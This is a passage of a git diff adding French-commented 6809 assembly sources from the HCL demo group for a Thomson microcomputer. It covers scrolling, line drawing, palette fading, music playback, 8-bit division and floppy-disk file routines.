+       BHS    *+6
+CHUTE  FDB    $3089,$00A0
+       STX    ,S++
+       LDA    ,Y+
+       STS    RECU-2
+       EXG    X,Y
+       STX    RECU+2
+       LDB    #32
+       MUL
+       LDU    #FONTES
+       LEAS   D,U
+       PULS   D,X,U
+       STD    -120,Y
+       STX    -80,Y
+       STU    -40,Y
+       PULS   D,X,U
+       STD    ,Y
+       STX    40,Y
+       STU    80,Y
+       PULS   D,X,U
+       STD    120,Y
+       LEAY   280,Y
+       STX    -120,Y
+       STU    -80,Y
+       PULS   D,X,U
+       STD    -40,Y
+       STX    ,Y
+       STU    40,Y
+       PULS   D,X,U
+       STD    80,Y
+       STX    120,Y
+       STU    160,Y
+       LDD    ,S
+       STD    200,Y
+       LDS    #0
+RECU   LDY    #0
+       INC    CHUTE-3
+       DEC    BUF
+       BNE    LETTER
+       LDB    CHUTE-3
+       SUBB   #16
+       STB    CHUTE-3
+       LDX    BUF+6
+DERNIE CMPX   #BASCUB
+       BLO    RETURN-10
+       CMPX   #BASCUB-640*7+39
+       BHI    MEMPAG
+       LDA    <$CD
+       BITA   #64
+       BEQ    *+5
+       JMP    RETURN-10
+       CMPY   #DERPAG
+       BNE    *+6
+       LDY    #TEXTE
+       LDD    #BASCUB
+       BRA    *+8
+MEMPAG LDA    CHUTE-4
+       SUBD   #640
+       STD    CHUTE-4
+       STD    DERNIE+1
+       LDA    ,Y
+       ANDA   #15
+       LDB    #40
+       MUL
+       STB    CHUTE+3
+       LDB    ,Y+
+       ANDB   #240
+       LDA    #2
+       MUL
+       LDU    #CHUTES
+       LDS    #BUF+6
+       LEAU   D,U
+       PULU   D
+       STD    ,S++
+       STD    *+11
+       LDD    #$100
+       PULU   X
+       STX    ,S++
+       CMPX   #0
+       BHI    *+7
+       STX    *-4
+       TFR    A,B
+       INCA
+       CMPA   #16
+       BNE    *-17
+       LDX    #BUF+6
+       ASLB
+       ABX
+       STX    DERNIE-2
+       BRA    *+4
+       LEAY   -16,Y
+       STY    BUF+3
+       LDS    #0
+RETURN LDY    #0
+       DEC    <$C3
+       LDA    <$CC
+       LDX    COPPER-2
+       BITA   #1
+       BNE    *+12
+       LEAX   -2,X
+       CMPX   #SCRCOL
+       BNE    *+5
+       LDX    #SCRCOL+168
+       BITA   #2
+       BNE    *+12
+       LEAX   2,X
+       CMPX   #SCRCOL+172
+       BNE    *+5
+       LDX    #SCRCOL+4
+       STX    COPPER-2
+       RTS
+
+SCRDEG FDB    1,16,17,256,257,272,273,1
+COLORS FDB    0,514,15,15,0
+       FDB    0,15,240,255,3840,3855
+       FDB    4080,4095,1911,826,931
+       FDB    938,2611,2618,3815,123
+       FCC    / HCL /
+DAMPIC
+       END
diff --git a/code/3rdparty/sources2-hcl/DEVELOP.ASM b/code/3rdparty/sources2-hcl/DEVELOP.ASM
new file mode 100644
index 0000000..901735d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DEVELOP.ASM
@@ -0,0 +1,54 @@
+****************************************
+*   Complément de SNAPSHOT : Affiche   *
+* à l'écran la BANK choisie au clavier *
+*    et cherche la palette en $BF40    *
+****************************************
+
+       ORG    $9F00
+
+G      ORCC   #80
+       LDA    $E7E5
+       PSHS   A,DP
+       LDB    #$E7
+       TFR    B,DP
+GETKEY JSR    $E806   choix au clavier
+       CMPB   #'S     "S" pour quitter
+       BNE    *+8
+       PULS   A,DP
+       STA    $E7E5
+       RTS
+       SUBB   #48     de 0 à f en hexa
+       CMPB   #22
+       BHI    GETKEY
+       CMPB   #10     le numéro de BANK
+       BLO    *+8
+       CMPB   #17
+       BLO    GETKEY
+       SUBB   #7
+       LDA    <$E7    syncro bas d'écran
+       BPL    *-2
+       LDA    <$E7
+       BMI    *-2
+       LDA    #15     palettes en noir
+       LDX    #0
+       LEAY   ,X
+       JSR    $EC00
+       DECA
+       BGE    *-9
+       LDX    #$A000      transfert
+       LDU    #$C000    BANK -> écran
+       STB    <$E5
+       LDA    ,X
+       CLR    <$E5
+       STA    ,X+
+       STB    <$E5
+       LDA    ,U
+       CLR    <$E5
+       STA    ,U+
+       CMPX   #$BF40
+       BNE    *-23
+       STB    <$E5    nouvelle palette
+       LDA    #255
+       JSR    $EC00
+       BRA    GETKEY  boucle clavier
+       END
diff --git a/code/3rdparty/sources2-hcl/DIVISION.ASM b/code/3rdparty/sources2-hcl/DIVISION.ASM
new file mode 100644
index 0000000..75a9236
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DIVISION.ASM
@@ -0,0 +1,81 @@
+****************************************
+* Divise un mot de 8 bits par un autre *
+*   Le résultat est codé sur 16 bits   *
+****************************************
+
+       ORG    $9000
+DIR    EQU    $9F
+Z      EQU    0
+
+G      ORCC   #80
+       LDA    #DIR
+       TFR    A,DP
+       LDA    #4
+       LDB    #192
+       STD    <Z
+
+
+       CLRB             partie entière
+       CMPA   <Z+1        sur 8 bits
+       BLO    *+7
+       SUBA   <Z+1
+       INCB
+       BRA    *-7
+       STB    <Z+2
+
+       CLRB            partie "décimale"
+       ASLA                (256èmes)
+       BCS    *+6
+       CMPA   <Z+1        sur 8 bits
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    <Z+3
+
+       LDX    <Z
+       LDY    <Z+2
+       SWI
+
+       END
diff --git a/code/3rdparty/sources2-hcl/DMORPLAY.ASM b/code/3rdparty/sources2-hcl/DMORPLAY.ASM
new file mode 100644
index 0000000..3424816
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DMORPLAY.ASM
@@ -0,0 +1,82 @@
+****************************************
+*                                      *
+*  Restitution d'une musique compactée *
+*                                      *
+* DEBMUS : pointe le début des modules *
+* MM : contient le pointeur de musique *
+*                                      *
+* module = Bank ; Début ; Fin          *
+* musique = module ; ... ; -1          *
+*                                      *
+****************************************
+
+
+MUSIC  PSHS   X,A,B
+       LDA    $E7E5
+       STA    ENVOI+4 sauvegarde banque
+BNKMUS LDA    #6      banque de musique
+       STA    $E7E5
+       LDX    #$A000  pointeur musique
+       BRA    NOTE1
+ENVOI  STA    *-1
+       LDA    #0
+       STA    $E7E5
+       PULS   B,A,X,PC
+
+NOTE1  LDA    ,X+      son compacté No 1
+       LDA    -1,X
+       LSRA              ( octet 0 )
+       LSRA
+       TST    ,-X
+       STA    $E7CD
+       STX    ENVOI-4
+       LDA    #*+4-ENVOI
+       BRA    ENVOI
+
+       LDA    ,X+      son compacté No 2
+       ANDA   #3
+       STA    *+8      ( octets 0 et 1 )
+       LDA    ,X
+       LSRA
+       LSRA
+       ORA    #0
+       STA    $E7CD
+       STX    ENVOI-4
+       LDA    #*+4-ENVOI
+       BRA    ENVOI
+
+       LDA    ,X+      son compacté No 3
+       ASLA
+       ASLA            ( octets 1 et 2 )
+       STA    *+8
+       LDA    ,X
+       ANDA   #3
+       ORA    #0
+       STA    $E7CD
+       STX    ENVOI-4
+       LDA    #*+4-ENVOI
+       BRA    ENVOI
+
+       LDA    ,X       son compacté No 4
+       TST    ,X+
+       LSRA            ( octets 2 et 3 )
+       LSRA
+       STA    $E7CD
+FINMOD CMPX   #$DFFE     fin du module ?
+       BHS    NXTMOD
+       STX    ENVOI-4
+       LDA    #NOTE1-ENVOI
+       BRA    ENVOI
+NXTMOD LDX    MM         module suivant
+       LDA    ,X+       banque du module
+       BPL    *+7
+       LDX    #DEBMUS recommence musique
+       LDA    ,X+
+       STA    BNKMUS+1
+       LDD    ,X++      adresse début
+       STD    ENVOI-4
+       LDD    ,X++      adresse fin
+       STD    FINMOD+1
+       STX    MM
+       LDA    #NOTE1-ENVOI
+       BRA    ENVOI
diff --git a/code/3rdparty/sources2-hcl/DRAW.ASM b/code/3rdparty/sources2-hcl/DRAW.ASM
new file mode 100644
index 0000000..60579c1
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/DRAW.ASM
@@ -0,0 +1,408 @@
+****************************************
+*     Traçage de segments optimisé     *
+*   abcisses et ordonnées sur 8 bits   *
+****************************************
+*  - FONCTIONNE EN MODE 40 COLONNES -  *
+* GESTION DES COULEURS NON ASSUREE ICI *
+* - ATTENTION AUX DEPASSEMENTS EN Y !- *
+****************************************
+********** By Doctor Lô of HCL *********
+
+       ORG    $9C00
+ECRAN  EQU    $C004
+DIR    EQU    $9F     } pour les accès
+Z      EQU    $00     } en page directe
+
+G      ORCC   #80
+       LDA    #DIR
+       TFR    A,DP
+       CLR    $E7E5
+
+SYNCRO TST    $E7E7
+       BMI    *-3
+       TST    $E7E7
+       BPL    *-3
+       LDD    #15
+       STA    $E7DB
+       STB    $E7DA
+       STA    $E7DA
+
+       LDD    #$FF00  coordonnees point1
+       STD    <Z+6
+       LDD    #$00C7    deuxieme point
+       JSR    DRAW
+
+       LDD    #0
+       STA    $E7DB
+       STB    $E7DA
+       STA    $E7DA
+       TST    $E7C8
+       BEQ    SYNCRO
+       SWI
+
+
+DRAW   LDU    #PUISS  permanent (pixels)
+       STD    <Z+4
+       CMPA   <Z+6    si x1 > x2 alors
+       BLS    *+10      permutation
+       LDX    <Z+6
+       STX    <Z+4
+       STD    <Z+6
+       LDB    <Z+5
+
+       CMPB   <Z+7
+       LBHI   MONTEE  quand y1 < y2
+
+       LDD    <Z+6
+       SUBA   <Z+4    A = (dx)
+       STA    <Z+1
+       SUBB   <Z+5    B = (dy)
+       CMPB   <Z+1
+       LBHI   VERTI1  quand (dy) > (dx)
+
+       TFR    B,A
+       CLRB           (dy) / (dx) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    MMSEG1+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,U
+       STA    <Z
+       CLRB
+
+       LDA    ,X
+LINE1  ORA    <Z
+       DEC    <Z+1
+       BNE    *+5
+       STA    ,X
+       RTS
+       LSR    <Z
+       BNE    MMSEG1
+       ROR    <Z
+       STA    ,X+
+       LDA    ,X
+MMSEG1 ADDB   #0
+       BCC    LINE1
+       STA    ,X
+       LEAX   40,X
+       BRA    LINE1-2
+
+VERTI1 STB    <Z+1
+       CLRB           (dx) / (dy) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    VIRG1+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,U
+       STA    LINE2+3
+       CLRB
+
+LINE2  LDA    ,X
+       ORA    #0
+       STA    ,X
+       LEAX   40,X
+       DEC    <Z+1
+       BNE    *+3
+       RTS
+VIRG1  ADDB   #0
+       BCC    LINE2
+       LSR    LINE2+3
+       BNE    LINE2
+       ROR    LINE2+3
+       LEAX   1,X
+       BRA    LINE2
+
+MONTEE LDD    <Z+6
+       SUBA   <Z+4    A = (dx)
+       STA    <Z+1
+       LDB    <Z+5
+       SUBB   <Z+7    B = (dy)
+       CMPB   <Z+1
+       LBHI   VERTI2  quand (dy) > (dx)
+
+       TFR    B,A
+       CLRB           (dy) / (dx) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    MMSEG2+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,U
+       STA    <Z
+       CLRB
+
+       LDA    ,X
+LINE3  ORA    <Z
+       DEC    <Z+1
+       BNE    *+5
+       STA    ,X
+       RTS
+       LSR    <Z
+       BNE    MMSEG2
+       ROR    <Z
+       STA    ,X+
+       LDA    ,X
+MMSEG2 ADDB   #0
+       BCC    LINE3
+       STA    ,X
+       LEAX   -40,X
+       BRA    LINE3-2
+
+VERTI2 STB    <Z+1
+       CLRB           (dx) / (dy) = 0.?
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #128
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #64
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #32
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #16
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #8
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #4
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #2
+       ASLA
+       BCS    *+6
+       CMPA   <Z+1
+       BLO    *+6
+       SUBA   <Z+1
+       ORB    #1
+       STB    VIRG2+1
+
+       LDX    #ECRAN
+       LDA    #40
+       LDB    <Z+5
+       MUL
+       LEAX   D,X
+       LDB    <Z+4
+       LSRB
+       LSRB
+       LSRB
+       ABX
+       LDB    <Z+4
+       ANDB   #7
+       LDA    B,U
+       STA    LINE4+3
+       CLRB
+
+LINE4  LDA    ,X
+       ORA    #0
+       STA    ,X
+       LEAX   -40,X
+       DEC    <Z+1
+       BNE    *+3
+       RTS
+VIRG2  ADDB   #0
+       BCC    LINE4
+       LSR    LINE4+3
+       BNE    LINE4
+       ROR    LINE4+3
+       LEAX   1,X
+       BRA    LINE4
+
+PUISS  FDB    $8040,$2010,$0804,$0201
+       END
diff --git a/code/3rdparty/sources2-hcl/FADE.ASM b/code/3rdparty/sources2-hcl/FADE.ASM
new file mode 100644
index 0000000..fca9f54
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FADE.ASM
@@ -0,0 +1,97 @@
+****************************************
+*             - F A D E -              *
+* Cette routine passe de la palette de *
+* couleurs courante à celle stockée en *
+* $DFE0 en réalisant un fondu enchaîné *
+****************************************
+*Laurent Hiriart, 67420 COLROY-la-ROCHE*
+****************************************
+
+DIR    EQU    ENDPRG/256
+V      EQU    ENDPRG-DIR*256
+NPASS  EQU    V      nombre d'étapes
+NCOLOR EQU    V+1    No couleur traitée
+ACTUEL EQU    V+2    sa palette courante
+BLEU   EQU    V+4    hauteur de Bleu
+VERT   EQU    V+5    hauteur de Vert
+ROUGE  EQU    V+6    hauteur de Rouge
+
+WAIT   EQU    1   Attente entre 2 étapes
+
+       ORG    $DF58
+G      PSHS   X,B,A,DP,CC
+       LDD    #$1000+DIR    accès direct
+       TFR    B,DP       aux "variables"
+       STA    <NPASS
+       LDU    #$E7DA   +rapide & +concis
+
+APPEAR LDD    #$1E00+WAIT
+       TST    13,U
+       BPL    *-2     attend le retour
+       TST    13,U     du spot sur la
+       BMI    *-2        ligne 200.
+       DECB
+       BNE    APPEAR+3
+       LDX    #8*45   descend bien bas
+       LEAX   -1,X     dans le border
+       BNE    *-2
+       LDX    #COLORS+32
+       STA    <NCOLOR
+
+PALETT LDA    ,-X     palette finale
+       ANDA   #15
+       STA    <ROUGE  hauteurs de rouge,
+       LDD    ,-X
+       ANDA   #15
+       ANDB   #240
+       STD    <BLEU   de bleu et de vert
+
+       LDA    <NCOLOR 2*No de la couleur
+       STA    1,U
+       LDB    ,U       palette courante
+       LDA    ,U        de la couleur
+       ANDA   #15         courante
+       STD    <ACTUEL
+
+COMPO1 LDA    <ACTUEL+1
+       ANDB   #15
+       CMPB   <ROUGE  (ajuste le rouge)
+       BHI    SUBROU
+       BEQ    COMPO2
+       ADDA   #2      Quelques octets de
+SUBROU DECA            moins à recopier
+
+COMPO2 LDB    <ACTUEL+1
+       ANDB   #240
+       CMPB   <VERT   (ajuste le vert)
+       BHI    SUBVER
+       BEQ    COMPO3
+       ADDA   #32     c'est déjà ça d'é-
+SUBVER SUBA   #16     pargné au lecteur
+
+COMPO3 STA    <ACTUEL+1
+       LDA    <ACTUEL
+       CMPA   <BLEU   (ajuste le bleu)
+       BHI    SUBBLE
+       BEQ    FINCOU
+       ADDA   #2      de Micro-News qui
+SUBBLE DECA           recopie mes DATAS.
+
+FINCOU LDB    <NCOLOR
+       STB    1,U
+       LDB    <ACTUEL+1
+       STB    ,U        validation de la
+       STA    ,U        nouvelle palette
+       DEC    <NCOLOR
+       DEC    <NCOLOR  couleur suivante
+       BPL    PALETT         ...
+
+       DEC    <NPASS  étape suivante ...
+       BNE    APPEAR
+       PULS   CC,DP,A,B,X,U,PC   on sort
+
+ENDPRG FCB    0,0,0,0,0,0,0  "variables"
+       FCC    "HCL" *-> Lg multiple de 8
+COLORS * nouvelles palettes stockées ici
+
+       END
diff --git a/code/3rdparty/sources2-hcl/FILES.ASM b/code/3rdparty/sources2-hcl/FILES.ASM
new file mode 100644
index 0000000..843ab82
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/FILES.ASM
@@ -0,0 +1,786 @@
+** Traitement des fichiers et du DISK **
+
+       FCC    "Hunks  Exec   "
+HUNKS  JSR    FILPOS
+       LDA    #11     Bad File Mode
+       LDB    11,X    Type du fichier:
+       CMPB   #2      langage machine
+       LBNE   ERROR
+       LDB    12,X    Sémaphore:binaire
+       LBNE   ERROR
+       LDD    14,X    nb octets dans le
+       STD    <BYLASE  dernier secteur
+       LDB    13,X    1er bloc ds la FAT
+       STB    <FATPTR
+       LDX    #FAT+1  ce pointeur est-il
+       LDB    B,X          cohérent
+       CMPB   #$A0
+       BLO    H1FTOK
+       LDA    #9      Bad File Structure
+       SUBB   #$C1
+       CMPB   #7
+       LBHI   ERROR
+H1FTOK CLR    <LASTBK dernier bloc? FAUX
+       CLR    <LASTSC   "" secteur? FAUX
+       LDX    #IOZONE
+       STX    <DKBUF
+       JSR    LPOSFT   1er bloc fichier
+       JSR    HNXSEC
+       LDA    #40      affiche "Hunks  "
+       LDU    #HUNKS-14
+       LDB    ,U+
+       JSR    PUTC
+       DECA
+       CMPA   #33
+       BNE    *-8
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       LDU    <CURSOR
+       LEAU   -313,U
+       STU    <CURSOR
+       LDD    #$718
+       STA    <XPOS
+       STB    <CMPT+1
+
+HDGON  LDU    #IODESC
+       LDY    #5
+       JSR    LVIDBF
+       LDY    IODESC+1  nombre d'octets
+       LDU    IODESC+3   adresse début
+       LDA    IODESC
+       BNE    EOHNK   code <>0 = EOfile
+       TFR    U,D
+       JSR    DA2HEX
+       TFR    B,A
+       JSR    DA2HEX
+       LDB    #'-
+       JSR    PUTC
+       LDB    #'>
+       JSR    PUTC
+       TFR    Y,D
+       SUBD   #1
+       LEAU   D,U
+       TFR    U,D
+       JSR    DA2HEX
+       TFR    B,A
+       JSR    DA2HEX
+       LDA    <XPOS
+       CMPA   #20
+       BLO    AFHNK2
+       DEC    <CMPT+1
+       BNE    HFPAUS
+       JSR    GETC
+       BCC    *-3
+       CMPB   #2
+       BEQ    HVIDBF-1
+       LDA    #24
+       STA    <CMPT+1
+HFPAUS LDD    #$3320
+       JSR    PUTC
+       DECA
+       BNE    *-4
+       LDU    <CURSOR
+       LEAU   -313,U
+       STU    <CURSOR
+       LDA    #7
+       STA    <XPOS
+       BRA    EOHNK-8
+AFHNK2 LDB    #32
+       JSR    PUTC
+       JSR    PUTC
+       LDU    IODESC+3
+       BSR    HVIDBF
+       JMP    HDGON
+EOHNK  LDA    #9      Bad File Structure
+       LEAX   -IOZONE,X nombre d'octets
+       CMPX   <BYLASE   dans le dernier
+       LBNE   ERROR        secteur
+       LDA    <XPOS
+       CMPA   #10
+       BHI    EOHNK2
+       LDU    <CURSOR
+       LEAU   -7,U
+       STU    <CURSOR
+       CLR    <XPOS
+       BRA    EOHNK3
+EOHNK2 LDB    #32
+       JSR    PUTC
+       LDA    <XPOS
+       BNE    *-5
+EOHNK3 LDA    #7
+       LDU    #HUNKS-7
+       LDB    ,U+
+       JSR    PUTC
+       DECA
+       BNE    *-6
+       LDD    IODESC+3
+       JSR    DA2HEX     d'exécution
+       TFR    B,A
+       JSR    DA2HEX
+       LDB    #32
+       JSR    PUTC
+       LDA    <XPOS
+       BNE    *-5
+       RTS
+
+HVIDBF LEAX   1,X     vide le buffer I/O
+       CMPX   #IOZONE+255 fin buffer ?
+       BNE    *+8
+       LDB    <LASTSC fin dernier sector
+       BNE    HNXSEC-1  -> fin fichier
+       BSR    HNXSEC
+       LEAY   -1,Y    fin transfert ?
+       BNE    HVIDBF
+       RTS
+
+HNXSEC JSR    DISK
+       INC    <DKSEC  secteur suivant
+       DEC    <CMPT    fin du bloc ?
+       LBNE   LNXSCF
+       LDB    <LASTBK  dernier bloc lu
+       LBEQ   LPOSFT  ->pas de suivant!
+       STB    <LASTSC
+       JMP    LNXSCF   dernier secteur
+
+LOADM  JSR    FILPOS
+       LDA    <FILETY
+       BNE    IGFITY
+       LDB    11,X    Type du fichier:
+       CMPB   #2      langage machine
+       BNE    *+6
+       LDB    12,X    Sémaphore:binaire
+       BEQ    *+7
+        LDA   #11     Bad File Mode
+        JMP   ERROR
+IGFITY LDU    14,X    nb octets dans le
+       STU    <BYLASE  dernier secteur
+       LDB    13,X    1er bloc ds la FAT
+       STB    <FATPTR
+       LDX    #FAT+1  ce pointeur est-il
+       LDB    B,X          cohérent
+       CMPB   #$A0
+       BLO    L1FTOK
+       SUBB   #$C1
+       CMPB   #8
+       BLO    *+7
+        LDA   #9      Bad File Structure
+        JMP   ERROR
+L1FTOK CLR    <LASTSC   "" secteur? FAUX
+       CLR    <LASTBK dernier bloc? FAUX
+       LDX    #IOZONE
+       STX    <DKBUF
+       BSR    LPOSFT   1er bloc fichier
+       LDA    <FILETY
+       BEQ    RILODM
+       LDU    <LSHIFT début du buffer
+       LDY    <FILSIZ taille+1 du buffer
+       BSR    LNXSEC
+       LEAY   -1,Y
+       BRA    LVIDBF
+RILODM BSR    LNXSEC
+
+LDGON  LDU    #IODESC
+       LDY    #5
+       BSR    LVIDBF
+       LDY    IODESC+1  nombre d'octets
+       LDU    IODESC+3   adresse début
+       LDD    <LSHIFT
+       LEAU   D,U     +décalage
+       LDA    IODESC
+       BNE    EOLOD   code <>0 = EOfile
+       BSR    LVIDBF
+       BRA    LDGON
+EOLOD  LDA    #9      Bad File Structure
+       LEAX   -IOZONE,X nombre d'octets
+       CMPX   <BYLASE   dans le dernier
+       LBNE   ERROR        secteur
+       LDD    IODESC+3
+       LDU    #OPGJSR-4    adresse
+       JSR    ATOHEX     d'exécution
+       TFR    B,A
+       JMP    ATOHEX
+
+LVIDBF LDB    ,X+     vide le buffer I/O
+       STB    ,U+       vers la mémoire
+       CMPX   #IOZONE+255 fin buffer ?
+       BNE    *+8
+       LDB    <LASTSC fin dernier sector
+       BNE    LNXSEC-1  -> fin fichier
+       BSR    LNXSEC
+       LEAY   -1,Y    fin transfert ?
+       BNE    LVIDBF
+       RTS
+
+LNXSEC JSR    DISK
+       INC    <DKSEC  secteur suivant
+       DEC    <CMPT    fin du bloc ?
+       BNE    LNXSCF
+       LDB    <LASTBK  dernier bloc lu ?
+       BEQ    LPOSFT  NON:prépare suivnt
+       STB    <LASTSC OUI:c'est donc le
+       LDB    <FILETY   dernier secteur
+       BEQ    LNXSCF  que l'on vient de
+       CMPY   <BYLASE
+       BLS    LNXSCF
+       LDY    <BYLASE    charger ...
+       LEAY   1,Y
+       BRA    LNXSCF  (->taille si !BIN)
+
+LPOSFT LDX    #FAT+1
+       LDB    <FATPTR
+       ABX
+       LDA    <FATPTR
+       LDB    #1        Piste/Secteur
+       LSRA           d'après No du bloc
+       BCC    *+4
+       ADDB   #8
+       STD    <DKTRK
+       LDB    ,X      "libère" le bloc
+       LDA    #-1     que l'on va lire
+       STA    ,X
+       CMPB   #$A0    à quoi ressemble
+       BHS    *+8     le bloc que l'on
+       TFR    B,A     va lire ?
+       LDB    #8      (nombre secteurs,
+       BRA    LRBFTF  fin de chaîne...?)
+       SUBB   #$C1
+       CMPB   #7
+       BHI    LDBKER
+       INCB             on va lire le
+       STA    <LASTBK   dernier bloc.
+LRBFTF STB    <CMPT   nombre de secteurs
+       STA    <FATPTR
+LNXSCF LDX    #IOZONE
+       RTS
+LDBKER LDA    #9      Bad File Structure
+       JMP    ERROR
+
+KILLM  JSR    FILPOS  trouve le fichier
+       JSR    KILFAT  modifie FAT et DIR
+       LDB    #2
+       STB    <DKOPC  commande WRITE
+       JSR    DISK    ré-écriture du DIR
+       LDX    #FAT
+       STX    <DKBUF
+       STB    <DKSEC
+       JMP    DISK    écriture de la FAT
+
+FILPOS CLR    <DKOPC  opération READ
+       LDD    #$1402
+       STD    <DKTRK
+       LDX    #FAT
+       STX    <DKBUF
+       JSR    DISK    charge la FAT
+       LDX    #CATALG
+       STX    <DKBUF
+       LDA    #3
+READIR STA    <DKSEC
+       JSR    DISK    charge directory
+       LDX    #CATALG
+DIRCMP PSHS   X,A
+       LDU    #FILNAM
+       LDA    #11
+       LDB    ,X+
+       CMPB   ,U+
+       BNE    *+5
+       DECA
+       BNE    *-7
+       PULS   A,X
+       BEQ    EOSDIR  oui:stop recherche
+       LDB    ,X
+SRDIR1 CMPB   #$FF     fin du catalogue
+       BEQ    FLNTFD
+       LEAX   32,X
+       CMPX   #CATALG+256
+       BLO    DIRCMP
+       INCA
+       CMPA   #17
+       BLO    READIR
+FLNTFD  LDA   #10     File Not Found
+        JMP   ERROR
+EOSDIR RTS
+
+
+SAVEM  LDA    <FILETY
+       LDY    #1
+       LDX    <FILSIZ
+       CMPA   #2
+       BNE    QTBLCK
+       LEAX   10,X     nombre de blocs
+QTBLCK CMPX   #255    requis au total =
+       BLO    SVRDFT  (5+taille+5)/255
+       LEAY   1,Y
+       LEAX   -255,X
+       BRA    QTBLCK
+SVRDFT LDX    #$1402
+       STX    <DKTRK
+       LDX    #FAT
+       STX    <DKBUF
+       CLR    <DKOPC
+       JSR    DISK    charge la FAT
+       LDB    ,X+
+       BNE    ANAFAT-5
+       LDD    40,X
+       CMPD   #$FEFE
+       BEQ    *+7
